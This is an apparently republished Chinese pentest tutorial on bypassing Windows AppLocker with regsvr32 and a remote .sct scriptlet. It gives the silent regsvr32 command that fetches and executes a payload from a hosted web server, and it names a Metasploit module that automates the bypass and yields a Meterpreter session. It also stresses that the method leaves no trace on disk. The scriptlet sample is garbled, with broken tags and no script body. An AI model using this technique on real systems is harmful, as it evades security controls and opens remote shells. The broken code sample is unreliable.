AppLocker的設計初衷就是為了幫助管理員Windows安裝文件,可執行文件以及用戶腳本的執行。從各種各樣的奇淫巧計中我們得知這些限制是可以繞過的,例如在windows環境下通過AppLocker配置以限制腳本的執行,利用regsrv32命令行工具就可以完成繞過。

regsvr32是windows命令行實用工具用于注冊動態鏈接庫文件,向系統注冊控件或者卸載控件的命令。Casey Smith發現通過調用regsrv32實用程序執行一條命令或者.sct文件有可能繞過AppLocker的腳本規則。由于該實用程序是由微軟官方簽名的所以好處多多啦,支持TLS加密,遵循重定向方式,不會在磁盤上留下痕跡。
以下腳本為Casey Smith提供的代碼修改版,我們僅調用 calc.exe或cmd.exe。如果允許使用命令行提示符,腳本將在目標系統上執行自定義二進制代碼:
scriptlet>
registration
progid="Pentest"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
script language="JScript">
script>
registration>
scriptlet>
regsvr32實用工具可從托管的web服務器上請求以及執行腳本:
regsvr32 /u /n /s /i:http://ip:port/payload.sct scrobj.dll

regsrv32指令選項:
/s 靜默執行
/n 指定不調用DllRegisterServer,此選項必須與/i共同使用
/i 調用DllInstall將它傳遞到可選的[cmdline],在與 /u 共同使用時,它調用DllUnstall
/u 反注冊控件
當然也可以利用regsvr32在本地運行存儲的有效載荷:
regsvr32 /u /n /s /i:payload.sct scrobj.dll
該命令將直接從托管文件的web服務器上執行腳本,嵌入.sct文件的JavaScript代碼將引導pentestlab3.exe程序在命令提示符下執行。

由于pentestlab3是一個Metasploit payload,所以隨后會打開一個Meterpreter會話:

當然,直接執行腳本還是會被攔截。但通過上面方法使用regsvr32進行繞過是可以的。

Metasploit
Metasploit框架有一個特定的有效載荷,可用于通過Regsvr32實用程序實現自動化繞過AppLocker
exploit/windows/misc/regsvr32_applocker_bypass_server
該模塊將啟用一個用于存儲惡意.sct文件的web服務,同時也提供用于在目標系統下執行的命令

命令執行后regsvr32將從web服務器請求.sct文件,然后執行PowerShell payload

最后成功繞過繞過AppLocker限制

|